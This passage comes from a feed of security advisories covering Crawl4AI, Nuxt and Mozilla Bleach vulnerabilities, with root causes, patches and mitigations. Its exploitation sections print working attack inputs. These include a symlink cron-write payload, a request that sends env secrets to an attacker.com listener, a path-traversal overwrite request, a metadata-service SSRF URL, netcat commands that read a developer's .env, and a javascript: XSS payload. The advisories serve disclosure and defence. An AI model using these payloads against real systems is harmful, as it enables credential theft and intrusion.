Exploitation of the Arbitrary File Write vulnerability requires a multi-step sequence to achieve remote code execution in a Docker environment. The following Mermaid diagram demonstrates the logic bypass of the path validation filter:\n\n```mermaid\ngraph LR\n  A[&quot;POST /screenshot request&quot;] --&gt; B[&quot;Extract output_path parameter&quot;]\n  B --&gt; C[&quot;validate_output_path() validation&quot;]\n  C --&gt; D{&quot;Is string prefix matching?&quot;}\n  D -- Yes --&gt; E[&quot;Passes 0.8.7 startswith() check&quot;]\n  E --&gt; F[&quot;Write file payload&quot;]\n  F --&gt; G[&quot;Target OS resolves symlink&quot;]\n  G --&gt; H[&quot;File written to /etc/cron.d (RCE)&quot;]\n```\n\nTo execute this attack, the adversary must have a mechanism to create a symbolic link inside the directory defined by `ALLOWED_OUTPUT_DIR`. In scenarios where a shared volume or a secondary write vector is present, the attacker creates a symbolic link `outputs/link` pointing directly to a highly critical system directory such as `/etc/cron.d` or `/etc/logrotate.d`.\n\nOnce the symlink is placed, the attacker triggers an unauthenticated POST request to `/screenshot` with the payload:\n\n```json\n{\n  &quot;url&quot;: &quot;http://attacker-controlled-site.com/malicious_payload&quot;,\n  &quot;output_path&quot;: &quot;link/cron_job&quot;\n}\n```\n\nThe API server verifies `outputs/link/cron_job` against the string pattern. Since it begins with the correct prefix, the check succeeds. The system then takes the screenshot output (or PDF document) and writes it to the target file. Since `link` resolves to `/etc/cron.d`, the file is written to `/etc/cron.d/cron_job`. The host or container&apos;s cron daemon subsequently parses the script, executing the injected commands as the root user.

{/* icon: shield */}
{/* type: deep-dive */}
## Impact Assessment

The cumulative impact of the vulnerabilities disclosed under GHSA-7CX2-G3H9-382P is high. Under the primary Arbitrary File Write flaw, an unauthenticated attacker can achieve arbitrary file write access across any writable partition of the container filesystem. When combined with typical Docker configurations where container services execute as privileged users, this vulnerability can lead directly to remote code execution (RCE) on the container.\n\nThe concurrent Webhook Header Injection vulnerability allows attackers to perform HTTP Request Smuggling, override critical headers like `Host` or `Authorization`, and route internal requests to external attacker-controlled infrastructure. This exposes internal API keys and system authorization tokens. Additionally, the CRLF Log Injection flaw allows attackers to compromise log integrity by writing arbitrary fake logs, which could obfuscate malicious activity or crash automated Security Information and Event Management (SIEM) systems.

{/* icon: lock */}
{/* type: mitigation */}
## Mitigation &amp; Remediation

To remediate all security issues covered under GHSA-7CX2-G3H9-382P, administrators and developers must immediately upgrade Crawl4AI deployments to version 0.8.8 or later. If utilizing the PyPI package directly, execute the following command:\n\n```bash\npip install -U crawl4ai&gt;=0.8.8\n```\n\nIf using the official Docker container, pull the latest image containing the patch:\n\n```bash\ndocker pull unclecode/crawl4ai:0.8.8\n```\n\nAs a temporary workaround or hardening measure, ensure that the API container runs with a read-only root filesystem. This prevents write operations outside designated volume mounts, neutralizing the path traversal RCE vector. Furthermore, enable API authentication using the `CRAWL4AI_API_TOKEN` environment variable to ensure all administrative endpoints require valid authentication before processing requests.</content:encoded>
            <dc:creator>Alon Barad</dc:creator>
        </item>
        <item>
            <title><![CDATA[GHSA-f989-c77f-r2cq: LLM Credential Exfiltration and SSRF in Crawl4AI Docker Server]]></title>
            <description><![CDATA[Unauthenticated remote attackers can exfiltrate LLM API keys and sensitive environment variables from Crawl4AI Docker servers by exploiting request-supplied base_url redirects and env-token resolution.]]></description>
            <link>https://cvereports.com/reports/GHSA-F989-C77F-R2CQ</link>
            <guid isPermaLink="false">https://cvereports.com/reports/GHSA-F989-C77F-R2CQ</guid>
            <category><![CDATA[Crawl4AI self-hosted Docker API Server (deploy/docker/api.py)]]></category>
            <category><![CDATA[Crawl4AI Python library (crawl4ai/async_configs.py)]]></category>
            <category><![CDATA[poc]]></category>
            <category><![CDATA[CVE]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Vulnerability]]></category>
            <dc:creator><![CDATA[Amit Schendel]]></dc:creator>
            <pubDate>Tue, 16 Jun 2026 21:00:31 GMT</pubDate>
            <enclosure url="https://cvereports.com/reports/GHSA-F989-C77F-R2CQ/opengraph-image" length="0" type="image/png"/>
            <content:encoded>{/* icon: search */}
{/* type: overview */}
## Vulnerability Overview

The Crawl4AI open-source web crawling and scraping library features a Dockerized API server to facilitate automated content extraction. This server provides several HTTP endpoints, including `/md`, `/llm`, and `/llm/job`, which allow clients to utilize Large Language Models (LLMs) via integrations such as LiteLLM. Users can supply parameters in their request bodies to customize behavior, configuring providers and formatting results dynamically.

A security analysis identified a structural design vulnerability in how these endpoints process LLM configuration parameters. Specifically, the application allows users to supply custom routing and credential retrieval parameters within standard HTTP request payloads. Because the Docker API server is unauthenticated by default, any network-adjacent or public-facing deployment of this service exposes these endpoints to unauthorized requests.

This structural exposure allows unauthenticated remote attackers to redirect API keys or retrieve local system secrets. The weakness is classified under CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor), CWE-522 (Insufficiently Protected Credentials), and CWE-918 (Server-Side Request Forgery). The vulnerability is tracked as GHSA-f989-c77f-r2cq and is patched in version 0.8.8.

{/* icon: bug */}
{/* type: deep-dive */}
## Root Cause Analysis

The core vulnerability resides in the combination of two features: unvalidated configuration overrides and dynamic environment variable resolution. First, the Docker API server accepted and prioritized user-supplied `base_url` parameters over locally configured API endpoints. This behavior allowed arbitrary redirection of outbound LLM requests while keeping the server-side API keys intact within the outbound request headers.

Second, the `LLMConfig` deserialization routine supported a prefix named `env:`. If a client specified `&quot;api_token&quot;: &quot;env:VAR_NAME&quot;`, the backend dynamically resolved this string using Python&apos;s `os.getenv(&quot;VAR_NAME&quot;)`. Because any client could pass these configuration parameters to endpoints without authentication, this mechanism created an arbitrary environment variable reader.

The combination of these two elements creates a multi-stage exploitation vector. An attacker can direct the application to request an environment variable containing a system secret, resolve its value, and route the resulting outbound payload directly to an attacker-controlled listener. Because the application processes these configurations on a per-request basis, the vulnerability requires no local file system access or persistent server modifications.

{/* icon: code */}
{/* type: deep-dive */}
## Code Analysis and Patch Review

The vulnerability is addressed in Crawl4AI version 0.8.8. The code changes focus on restricting request-supplied URL configurations and implementing a denylist for environment variable resolution.

In `deploy/docker/api.py`, the original implementation prioritized the user-supplied `base_url` if present. The patch modified this behavior to completely ignore the request-supplied parameter, falling back strictly to the server-configured base URL:

```python
# File: deploy/docker/api.py
# Original vulnerable lines:
# base_url=base_url or get_llm_base_url(config, resolved_provider),

# Patched line:
base_url=get_llm_base_url(config, resolved_provider),  # ignore request base_url (key-exfil vector)
```

In `crawl4ai/async_configs.py`, a new validation routine `_is_forbidden_env_name` was implemented. This function screens requested environment variables against exact matches, prefixes, and substrings associated with secrets before invoking `os.getenv()`:

```python
# File: crawl4ai/async_configs.py
_FORBIDDEN_ENV_SUBSTRINGS = (&quot;SECRET&quot;, &quot;PASSWORD&quot;, &quot;PRIVATE&quot;, &quot;PASSWD&quot;)
_FORBIDDEN_ENV_PREFIXES = (&quot;CRAWL4AI&quot;, &quot;AWS_SECRET&quot;)
_FORBIDDEN_ENV_EXACT = {&quot;SECRET_KEY&quot;, &quot;REDIS_PASSWORD&quot;, &quot;TOKEN&quot;}

def _is_forbidden_env_name(name: str) -&gt; bool:
    if not name:
        return True
    u = name.upper()
    if u in _FORBIDDEN_ENV_EXACT:
        return True
    if any(s in u for s in _FORBIDDEN_ENV_SUBSTRINGS):
        return True
    if any(u.startswith(p) for p in _FORBIDDEN_ENV_PREFIXES):
        return True
    return False
```

While this denylist mitigates the most immediate vectors (e.g., retrieving `SECRET_KEY`), it relies on a string-matching approach. If system administrators store credentials in non-matching variables (such as `DATABASE_URL` or `API_KEY_VAL`), those secrets remain accessible through `env:` resolution. Organizations must ensure that any sensitive keys do not fall outside the designated blocklist.

{/* icon: terminal */}
{/* type: exploit */}
## Exploitation Methodology

Exploitation of this vulnerability requires network access to the unauthenticated Crawl4AI Docker server endpoints. Since the server does not enforce authentication by default, any external entity can send a POST request containing a crafted JSON payload.

An attacker can capture configured LLM keys by directing the backend to route requests to an external server. By sending a request to `/llm` with the `base_url` set to an attacker-controlled endpoint, the server constructs the standard API call containing the legitimate, locally-configured provider API key in the authorization headers.

To extract general system secrets, the attacker combines both parameters. The attacker sets the `api_token` to `&quot;env:SECRET_KEY&quot;` and the `base_url` to their listening server. Upon parsing, the backend retrieves the host&apos;s JWT signing key and transmits it as the bearer token to the malicious destination.

```mermaid
graph LR
  Attacker[&quot;Attacker Client&quot;] -- &quot;1. POST /llm {base_url: &apos;attacker.com&apos;, api_token: &apos;env:JWT_KEY&apos;}&quot; --&gt; Crawl4AI[&quot;Crawl4AI Server&quot;]
  Crawl4AI -- &quot;2. os.getenv(&apos;JWT_KEY&apos;)&quot; --&gt; OS[&quot;OS Environment&quot;]
  OS -- &quot;3. Return Key Value&quot; --&gt; Crawl4AI
  Crawl4AI -- &quot;4. POST / (Auth: Bearer JWT_KEY)&quot; --&gt; AttackerServer[&quot;Attacker Listener (attacker.com)&quot;]
```

{/* icon: skull */}
{/* type: deep-dive */}
## Impact Assessment

The impact of successful exploitation is high confidentiality exposure. Attackers can completely compromise any upstream LLM API accounts (such as OpenAI, Anthropic, or Hugging Face) configured on the target system, potentially leading to unauthorized financial charges or data exposure.

Furthermore, the exfiltration of host-level environment variables extends the threat vector beyond simple LLM keys. Attackers can target system passwords, AWS credentials, session database keys, and JWT secrets, allowing them to escalate privileges or access adjacent backend databases.

Because the Docker server runs unauthenticated by default, this vulnerability is highly accessible to remote actors. The CVSS v3.1 score is evaluated at 8.2 (High), reflecting a high confidentiality impact and a low attack complexity.

{/* icon: shield */}
{/* type: mitigation */}
## Remediation &amp; Defensive Mitigation Guidance

The primary remediation is to upgrade the Crawl4AI package and Docker containers to version 0.8.8 or later. This release disables arbitrary `base_url` overrides from incoming API requests and restricts `env:` prefix resolution.

If immediate patching is not feasible, administrators must enable API token authentication by configuring the `CRAWL4AI_API_TOKEN` environment variable. This configuration ensures that only authorized entities can interact with the server endpoints, mitigating anonymous exploitation.

Additionally, network-level egress filtering should be configured on the hosting environment. Restricting the container&apos;s outbound network calls to specific, trusted upstream API domains (e.g., `api.openai.com`) prevents the redirection of requests to malicious external servers.</content:encoded>
            <dc:creator>Amit Schendel</dc:creator>
        </item>
        <item>
            <title><![CDATA[GHSA-365w-hqf6-vxfg: Multiple Critical Vulnerabilities in Crawl4AI Docker API Server]]></title>
            <description><![CDATA[Multiple critical security vulnerabilities in Crawl4AI versions <= 0.8.6 allow unauthenticated arbitrary file write, SSRF, dynamic code execution, and authentication bypass.]]></description>
            <link>https://cvereports.com/reports/GHSA-365W-HQF6-VXFG</link>
            <guid isPermaLink="false">https://cvereports.com/reports/GHSA-365W-HQF6-VXFG</guid>
            <category><![CDATA[Crawl4AI Docker API Server <= 0.8.6]]></category>
            <category><![CDATA[poc]]></category>
            <category><![CDATA[CVE]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Vulnerability]]></category>
            <dc:creator><![CDATA[Amit Schendel]]></dc:creator>
            <pubDate>Tue, 16 Jun 2026 20:13:30 GMT</pubDate>
            <enclosure url="https://cvereports.com/reports/GHSA-365W-HQF6-VXFG/opengraph-image" length="0" type="image/png"/>
            <content:encoded>{/* icon: bug */}
{/* type: overview */}
## Vulnerability Overview

The Crawl4AI Docker API server, running versions 0.8.6 and prior, contains multiple critical and high-severity security vulnerabilities. Crawl4AI is an open-source, LLM-friendly web crawler and scraper designed to facilitate content extraction for artificial intelligence applications. The Docker API server exposing this crawl engine to network consumers serves as the primary attack surface, handling external requests for scraping, screenshot generation, and dynamic JavaScript execution.

These vulnerabilities span multiple weakness categories, including improper path sanitization (CWE-22), missing authentication dependencies (CWE-306), use of hardcoded credentials (CWE-798), server-side request forgery (CWE-918), and improper code execution controls (CWE-94). An unauthenticated remote attacker can exploit these weaknesses to execute arbitrary code, manipulate files on the host file system, or pivot into private cloud infrastructure.

The vulnerabilities represent a complete breakdown of input sanitization and access control boundaries within the API wrapper. Because the Docker container often runs with elevated privileges on internal hosting networks, compromise of this component allows an attacker to gain a foothold inside private deployment environments. This technical analysis explores the root causes, code paths, exploitation vectors, and remediation strategies for these combined issues.

{/* icon: code */}
{/* type: deep-dive */}
## Root Cause Analysis

The root causes of these vulnerabilities lie in the omission of fundamental input validation and authentication checks across several critical API endpoints. In the case of the screenshot (`/screenshot`) and PDF (`/pdf`) generation routes, the application accepted optional user-defined file path parameters without applying sanitization routines. This lack of restriction allowed file-system path traversal sequences to escape the designated temporary directory.

For the Server-Side Request Forgery (SSRF) vulnerabilities, the application failed to validate destination IP addresses and hostnames before dispatching outbound requests. This allowed users to supply webhooks and target crawl targets pointing to loopback addresses, private networks, or metadata services. The validation routine was also vulnerable to evasion techniques such as IPv6-mapped IPv4 notation, which bypasses standard string-matching defenses by representing IPv4 addresses within IPv6 wrappers.

Additionally, the API server lacked structured access control boundaries. It failed to apply authentication dependencies to administrative routes, and fell back to a hardcoded JWT signing secret (&apos;mysecret&apos;) when the token configuration was omitted. Dynamic code execution paths in the extraction strategies also suffered from unsafe eval and exec invocations, allowing attackers to execute arbitrary Python commands via manipulated dynamic schemas.

{/* icon: terminal */}
{/* type: deep-dive */}
## Code Analysis

An inspection of the codebase prior to version 0.8.7 reveals how parameters were handled and how the patches remediated these flaws. In the vulnerable implementation of the path handling logic, raw user strings were passed to storage writers. The following comparison illustrates the transition from unsafe parameter consumption to structured Pydantic path validation:

```python
# Vulnerable Path Consumption in server.py
@app.post(&quot;/screenshot&quot;)
async def take_screenshot(payload: ScreenshotPayload):
    # Unsanitized path accepted directly from client payload
    output_path = payload.output_path 
    await browser.screenshot(url=payload.url, path=output_path)
```

```python
# Patched Path Validation in server.py (v0.8.7)
from pathlib import Path
from pydantic import BaseModel, field_validator

class ScreenshotPayload(BaseModel):
    url: str
    output_path: str

    @field_validator(&apos;output_path&apos;)
    @classmethod
    def validate_output_path(cls, v: str) -&gt; str:
        # Ensure relative traversal sequences are blocked
        if &apos;..&apos; in v or v.startswith(&apos;/&apos;):
            raise ValueError(&quot;Invalid output path structure&quot;)
        return v
```

To address the SSRF vulnerabilities, the developers introduced strict destination validation. The validation logic converts incoming URLs to normalized IP addresses and checks them against private subnets and metadata ranges, specifically resolving IPv6-mapped IPv4 variants. The following flow diagram demonstrates the validation sequence applied to inbound URLs:

```mermaid
graph LR
  A[&quot;Inbound URL Request&quot;] --&gt; B[&quot;Resolve Hostname to IP&quot;]
  B --&gt; C{&quot;Check IPv6-Mapped?&quot;}
  C -- &quot;Yes&quot; --&gt; D[&quot;Normalize to Standard IPv4&quot;]
  C -- &quot;No&quot; --&gt; E[&quot;Validate Against Blocklist&quot;]
  D --&gt; E
  E --&gt; F{&quot;Is Private or Metadata IP?&quot;}
  F -- &quot;Yes&quot; --&gt; G[&quot;Reject Request (403)&quot;]
  F -- &quot;No&quot; --&gt; H[&quot;Allow Request / Crawl&quot;]
```

Furthermore, the dynamic field computation logic in `server.py` and `extraction_strategy.py` was refactored to eliminate unsafe calls to eval. Commit 2fc39cbe89f3213ab2c0c3a04f25af795ee46047 restricted runtime interpretation by replacing arbitrary expression evaluation with structured AST (Abstract Syntax Tree) parsing and an explicit, safe attribute allowlist.

{/* icon: skull */}
{/* type: exploit */}
## Exploitation Methodology

Exploitation of these vulnerabilities requires network access to the Crawl4AI Docker API server, which by default runs on port 8000. Because the administrative monitoring routes lacked authentication, an attacker could interact directly with endpoints such as `/monitor/actions/cleanup` or listen to sensitive events on the WebSocket `/monitor/ws` without providing any authentication credentials.

To execute an arbitrary file write attack, the attacker submits a POST request to `/screenshot` containing a relative path traversal sequence. The local file-writing mechanism processes this path and overwrites files on the container, such as the main server source code (`/app/server.py`). This path traversal vector achieves code modification and service disruption:

```http
POST /screenshot HTTP/1.1
Host: local-crawl4ai-api:8000
Content-Type: application/json

{
  &quot;url&quot;: &quot;https://example.com&quot;,
  &quot;output_path&quot;: &quot;../../../../app/server.py&quot;
}
```

For Server-Side Request Forgery, an attacker bypasses naive string filters by targeting internal resources using IPv6-mapped IPv4 addresses. A request sent to `/crawl` with the URL `http://[::ffff:169.254.169.254]/latest/meta-data/` instructs the headless browser to retrieve data from the local cloud metadata endpoint. The crawler then returns this sensitive data to the remote attacker inside the standard HTTP response payload.

{/* icon: lock */}
{/* type: deep-dive */}
## Impact Assessment

The cumulative security impact of these vulnerabilities is classified as critical, with a maximum CVSS v3.1 base score of 9.8. Successful exploitation of the unauthenticated endpoints allows complete compromise of the containerized application. An attacker can write arbitrary files to alter application logic, bypass JWT verification using the hardcoded default secret &apos;mysecret&apos;, and retrieve administrative information via the unsecured monitoring interface.

The presence of Server-Side Request Forgery (SSRF) represents a significant threat to cloud environments. If the Crawl4AI container is deployed within AWS, GCP, or Azure with access to the instance metadata service, an attacker can extract temporary IAM credentials, API tokens, and project metadata. This allows the attacker to escalate privileges and access adjacent resources inside the host cloud environment.

Additionally, the ability to run arbitrary JavaScript via `/execute_js` with disabled web security options allows attackers to perform cross-origin requests. Attackers can leverage the container&apos;s identity to query internal systems on the local Docker network, bypassing firewall protections and compromising other microservices that trust the container.

{/* icon: shield */}
{/* type: mitigation */}
## Remediation and Mitigation

The primary remediation for these vulnerabilities is upgrading the Crawl4AI package to version 0.8.7 or higher. The update implements robust input sanitization, removes dynamic code evaluation paths, closes the authentication gaps on the monitoring endpoints, and introduces a dynamic secret generation mechanism for JWT authentication if no strong custom secret is configured.

If immediate patching is not possible, administrators must implement several compensatory controls to reduce the risk of exploitation. First, network exposure must be limited by binding the API server to localhost or restricting access to authorized IP addresses via network security groups. Second, the `CRAWL4AI_API_TOKEN` environment variable must be populated with a strong, complex token to enforce authentication across all API endpoints:

```bash
# Example of setting a strong API token and custom JWT secret
export CRAWL4AI_API_TOKEN=&quot;s3cur3_v3ry_str0ng_t0k3n_123&quot;
export JWT_SECRET_KEY=&quot;a_very_long_and_secure_random_key_of_32_bytes_or_more&quot;
```

Finally, dynamic JavaScript execution should be disabled unless strictly required. Ensure that the environment variable `CRAWL4AI_EXECUTE_JS_ENABLED` is set to `false`, and run the container with restricted security profiles to prevent arbitrary file modifications from affecting the host file system.</content:encoded>
            <dc:creator>Amit Schendel</dc:creator>
        </item>
        <item>
            <title><![CDATA[GHSA-534h-c3cw-v3h9: Local Information Disclosure via Abstract-Namespace Socket in Nuxt Dev Server]]></title>
            <description><![CDATA[Nuxt dev server's use of abstract-namespace Unix sockets on Linux allowed unauthorized local users to connect to the internal IPC server and extract sensitive developer files (such as .env files) without authentication.]]></description>
            <link>https://cvereports.com/reports/GHSA-534H-C3CW-V3H9</link>
            <guid isPermaLink="false">https://cvereports.com/reports/GHSA-534H-C3CW-V3H9</guid>
            <category><![CDATA[Nuxt Development Framework]]></category>
            <category><![CDATA[poc]]></category>
            <category><![CDATA[CVE]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Vulnerability]]></category>
            <dc:creator><![CDATA[Amit Schendel]]></dc:creator>
            <pubDate>Tue, 16 Jun 2026 13:49:10 GMT</pubDate>
            <enclosure url="https://cvereports.com/reports/GHSA-534H-C3CW-V3H9/opengraph-image" length="0" type="image/png"/>
            <content:encoded>{/* icon: search */}
{/* type: overview */}
## Vulnerability Overview

On Linux platforms running Node.js 20+, the Nuxt development framework utilizes an internal Inter-Process Communication (IPC) socket server to facilitate module loading between Vite and the Node.js runtime.

In vulnerable versions of Nuxt (4.0.0 to 4.4.6, and 3.18.0 to 3.21.6), this internal IPC server binds directly to a Linux abstract-namespace Unix socket rather than a traditional file-based socket.

Because abstract-namespace sockets lack filesystem inodes, they completely bypass traditional file and directory permission controls, enabling any unprivileged local user on the host system to discover and connect to the socket directly.

Once connected, the local attacker gains access to the fully exposed Vite-Node server endpoints without any secondary authentication or authorization checks.

{/* icon: bug */}
{/* type: deep-dive */}
## Root Cause Analysis

The root cause of this vulnerability lies in the design of Linux abstract-namespace Unix sockets and how Node.js treats them when prefixed with a null byte (`\0`).

Traditional Unix domain sockets are represented as nodes on the filesystem, allowing administrators to restrict access using standard discretionary access controls (DAC) such as `chmod 0700` or owner permissions.

Conversely, abstract sockets reside purely within the kernel&apos;s network namespace and have no filesystem representation, meaning file-level permissions do not apply to them.

Any process in the same network namespace can query `/proc/net/unix` to identify the socket&apos;s unique identifier and open a stream connection to it.

Because the internal `createViteNodeSocketServer` listening function performed no authorization checks (such as verifying the peer process owner UID or validating a token), the socket was left completely open to all co-resident users.

{/* icon: code */}
{/* type: deep-dive */}
## Code-Level Analysis and Patch Walkthrough

The original implementation of `generateSocketPath` in `packages/vite/src/plugins/vite-node.ts` generated a path starting with a null byte for Linux systems.

```typescript
// Vulnerable Code Path
if (process.platform === &apos;linux&apos;) {
  const nodeMajor = Number.parseInt(process.versions.node.split(&apos;.&apos;)[0]!, 10)
  if (nodeMajor &gt;= 20 &amp;&amp; provider !== &apos;stackblitz&apos;) {
    // ... checks for Docker omitted ...
    if (!isDocker) {
      return `\\0${socketName}.sock` // Null byte triggers abstract socket
    }
  }
}
```

The patch resolved this exposure by removing the abstract socket logic entirely and enforcing a secure, permission-restricted directory pattern.

```typescript
// Patched Code Path (v4)
export function pickSocketPath (platform: NodeJS.Platform): SocketPathInfo {
  const uniqueSuffix = `${process.pid}-${Date.now()}`
  const socketName = `nuxt-vite-node-${uniqueSuffix}`

  if (platform === &apos;win32&apos;) {
    return { socketPath: join(String.raw`\\\\.\\pipe`, socketName) }
  }

  // Enforce secure 0700 directory permissions
  const parentDir = fs.mkdtempSync(join(os.tmpdir(), &apos;nuxt-vite-node-&apos;))
  fs.chmodSync(parentDir, 0o700)
  return { socketPath: join(parentDir, `${socketName}.sock`), parentDir }
}
```

Additionally, to close the window between directory creation and socket binding, the patch wraps socket listener instantiation in a strict umask boundary:

```typescript
// Secure Socket Listening
const previousUmask = process.umask(0o077)
try {
  server.listen(socketPath, () =&gt; {
    try {
      fs.chmodSync(socketPath, 0o600)
    } catch (error) {
      server.close()
    }
  })
} finally {
  process.umask(previousUmask)
}
```

{/* icon: terminal */}
{/* type: exploit */}
## Exploitation Mechanics and Proof of Concept

An attacker on a multi-tenant Linux server or workstation can locate active Nuxt dev instances and query files through the exposed IPC server.

First, the attacker enumerates active abstract sockets by reading `/proc/net/unix`.

```bash
grep -o -E &quot;nuxt-vite-node-[0-9\-]+\.sock&quot; /proc/net/unix
```

Once the target socket ID is obtained, the attacker uses Netcat with the `-U` flag (and the `@` prefix signifying an abstract socket path) to establish a raw TCP-like stream connection.

```bash
c -U &quot;@nuxt-vite-node-[PID]-[TIMESTAMP].sock&quot;
```

Finally, the attacker issues a raw JSON instruction to fetch a module, instructing the server to resolve a local path bypassing Vite&apos;s `server.fs.allow` configuration.

```json
{
  &quot;id&quot;: 1,
  &quot;type&quot;: &quot;module&quot;,
  &quot;moduleId&quot;: &quot;/home/developer/app/.env?raw&quot;
}
```

The server responds directly with the content of the target file, facilitating arbitrary local file reading with the permissions of the developer process.

{/* icon: lock */}
{/* type: deep-dive */}
## Impact Assessment and Environmental Scope

The security impact of GHSA-534h-c3cw-v3h9 is rated as Medium (CVSS 5.5) due to the prerequisite of local system access, but the consequences can be significant.

If the development environment is run on shared infrastructure, such as multi-user workstations, academic labs, bastion servers, or shared development servers, any unprivileged system user can leverage this vulnerability.

By accessing the IPC interface, the attacker bypasses Vite&apos;s browser-oriented cross-origin and directory traversal restrictions.

This permits the reading of database passwords, API tokens, local SSH private keys, and application source code, resulting in complete local confidential information disclosure.

{/* icon: shield */}
{/* type: mitigation */}
## Defensive Controls and Detection

The primary defensive mitigation is to update to the patched releases: Nuxt `4.4.7` or `3.21.7`.

In environments where upgrading dependencies is not immediately feasible, developers can isolate their dev environment using standard Linux containers.

```bash
# Run Nuxt dev in a rootless container to isolate namespaces
docker run --rm -it -v $(pwd):/src -w /src node:20 npm run dev
```

System administrators can detect potential exploitation attempts by auditing `/proc` filesystem accesses or using system call tracing (such as `sysdig` or `auditd`) to monitor unauthorized processes establishing Unix socket connections containing the `nuxt-vite-node` pattern.</content:encoded>
            <dc:creator>Amit Schendel</dc:creator>
        </item>
        <item>
            <title><![CDATA[GHSA-8RFP-98V4-MMR6: Protocol-Filtering Bypass via Unicode Obfuscation in Mozilla Bleach]]></title>
            <description><![CDATA[Mozilla Bleach versions up to 6.3.0 fail to sanitize URLs containing high-plane Unicode or invisible characters in the scheme prefix. This allows blocked protocols like 'javascript:' to bypass sanitization filters, creating stored Cross-Site Scripting (XSS) risks in downstream environments that normalize or strip Unicode data.]]></description>
            <link>https://cvereports.com/reports/GHSA-8RFP-98V4-MMR6</link>
            <guid isPermaLink="false">https://cvereports.com/reports/GHSA-8RFP-98V4-MMR6</guid>
            <category><![CDATA[Mozilla Bleach <= 6.3.0]]></category>
            <category><![CDATA[poc]]></category>
            <category><![CDATA[CVE]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Vulnerability]]></category>
            <dc:creator><![CDATA[Amit Schendel]]></dc:creator>
            <pubDate>Tue, 16 Jun 2026 14:06:29 GMT</pubDate>
            <enclosure url="https://cvereports.com/reports/GHSA-8RFP-98V4-MMR6/opengraph-image" length="0" type="image/png"/>
            <content:encoded>{/* icon: search */}
{/* type: overview */}
## Vulnerability Overview

Mozilla Bleach is a Python-based HTML sanitization library that parses, cleans, and filters HTML fragments from untrusted inputs. It operates as a primary defense boundary in web applications, validating allowed tags, attributes, and URI schemes to prevent Cross-Site Scripting (XSS) and data injection vulnerabilities.

Under normal execution, when developers enable anchor tags (`&lt;a&gt;`) and link attributes (`href`), Bleach checks the value of the `href` attribute. It guarantees that the parsed scheme matches an explicit allowlist of safe protocols, such as `http`, `https`, or `mailto`. Any URI containing an disallowed scheme, such as `javascript:`, is stripped or nullified.

The vulnerability tracked as GHSA-8RFP-98V4-MMR6 resides in the preprocessing loop of the URI validation logic. When processing attributes, Bleach fails to identify blocked protocols if they contain specific high-range Unicode code points, invisible characters, or non-standard whitespace. Consequently, the invalid URI bypasses validation checks and is preserved in the output, which violates Bleach&apos;s security guarantees and compromises downstream rendering components.

{/* icon: bug */}
{/* type: deep-dive */}
## Root Cause Analysis

The underlying technical flaw lies within the `sanitize_uri_value` function inside the `bleach/sanitizer.py` component. Prior to passing a URI string to Python&apos;s standard library parser (`urllib.parse.urlparse`), Bleach performs an initial cleanup operation to strip backticks, control characters, and standard whitespace.

This cleanup is executed using the regular expression `re.sub(r&quot;[`\000-\040\177-\240\s]+&quot;, &quot;&quot;, normalized_uri)`. This regex matches only ASCII control characters (up to `\040`), standard whitespace characters matched by `\s`, and characters in the `\177-\240` range. It fails to match high-plane Unicode characters or invisible formatting characters such as the Zero-Width Space (`\u200b`), Byte-Order Mark (`\ufeff`), or Soft Hyphen (`\u00ad`).

When an attacker constructs a link containing an invisible Unicode character inside the protocol scheme name (e.g., `javascript\u200b:alert(1)`), the character is not removed during the regex cleanup stage. The resulting string is subsequently passed to `urllib.parse.urlparse`. Because the string contains a non-ASCII character within the scheme sequence, `urlparse` fails to recognize `javascript\u200b` as a valid scheme under RFC 3986 rules and parses the value as a relative path.

Since `urlparse` does not extract `javascript` as the scheme, Bleach treats the input as a safe, relative path. The sanitizer permits the obfuscated `href` attribute to pass through unchanged. This allows the dangerous payload to reside in the cleaned dataset.

{/* icon: code */}
{/* type: deep-dive */}
## Code Analysis and Patch Verification

In version 6.3.0 and prior, the preprocessing code in `bleach/sanitizer.py` is configured as follows:

```python
# Vulnerable Code: bleach/sanitizer.py (&lt;= v6.3.0)
def sanitize_uri_value(self, value, allowed_protocols):
    # Convert HTML entities to raw characters
    normalized_uri = html5lib_shim.convert_entities(value)

    # Remove backtick, space, and control characters (ASCII only)
    normalized_uri = re.sub(r&quot;[`\000-\040\177-\240\s]+&quot;, &quot;&quot;, normalized_uri)

    # Remove REPLACEMENT characters
    normalized_uri = normalized_uri.replace(&quot;\ufffd&quot;, &quot;&quot;)

    # Lowercase for pattern matching
    normalized_uri = normalized_uri.lower()
```

The vulnerability was remediated in commit `7c4867c32344d1c961107fae62240a6f0dc680dc` by removing the specific replacement of the `\ufffd` character and introducing a regular expression that strips all non-ASCII characters from the URI prior to the validation phase:

```python
# Patched Code: bleach/sanitizer.py (v6.4.0)
def sanitize_uri_value(self, value, allowed_protocols):
    # Convert HTML entities to raw characters
    normalized_uri = html5lib_shim.convert_entities(value)

    # Strip backtick, whitespace, and control characters
    normalized_uri = re.sub(r&quot;[`\000-\040\177-\240\s]+&quot;, &quot;&quot;, normalized_uri)

    # Strip non-ASCII characters so that urlparse can parse the url into
    # components correctly. This drops invisible and whitespace unicode
    # characters among other things.
    normalized_uri = re.sub(r&quot;[^\x00-\x7f]&quot;, &quot;&quot;, normalized_uri)

    # Lowercase value to make matching easier
    normalized_uri = normalized_uri.lower()
```

This remediation ensures that any high-plane Unicode or non-ASCII invisible character is removed before scheme parsing. An input of `javascript\u200b:alert(1)` is sanitized to `javascript:alert(1)` during preprocessing. This collapsed string is successfully parsed by `urlparse` as the `javascript` scheme, which Bleach flags as a blocked protocol and correctly strips from the tag.

While this fix is highly complete and secures the parser against Unicode-based bypasses, it strips legitimate internationalized domain names (IDNs) or paths that utilize non-ASCII characters. This functional limitation was accepted by the maintainers as a necessary trade-off for security enforcement in the final release of the project.

{/* icon: terminal */}
{/* type: exploit */}
## Exploitation Methodology

Exploiting this vulnerability requires a multi-tier environment where Bleach&apos;s output is processed by a downstream component before rendering. Standard browsers do not execute schemes containing raw invisible Unicode characters directly, as they interpret them as relative paths or unrecognized schemas.

The vulnerability is triggered when the database, template formatter, or downstream backend processor normalizes the Unicode input (e.g., stripping non-ASCII characters, applying compatibility decompositions, or running character cleanup scripts). If a backend normalizes the string `javascript\u200b:alert(document.cookie)` by removing non-ASCII elements, the invisible character is discarded, resulting in the executable payload `javascript:alert(document.cookie)`.

```mermaid
graph LR
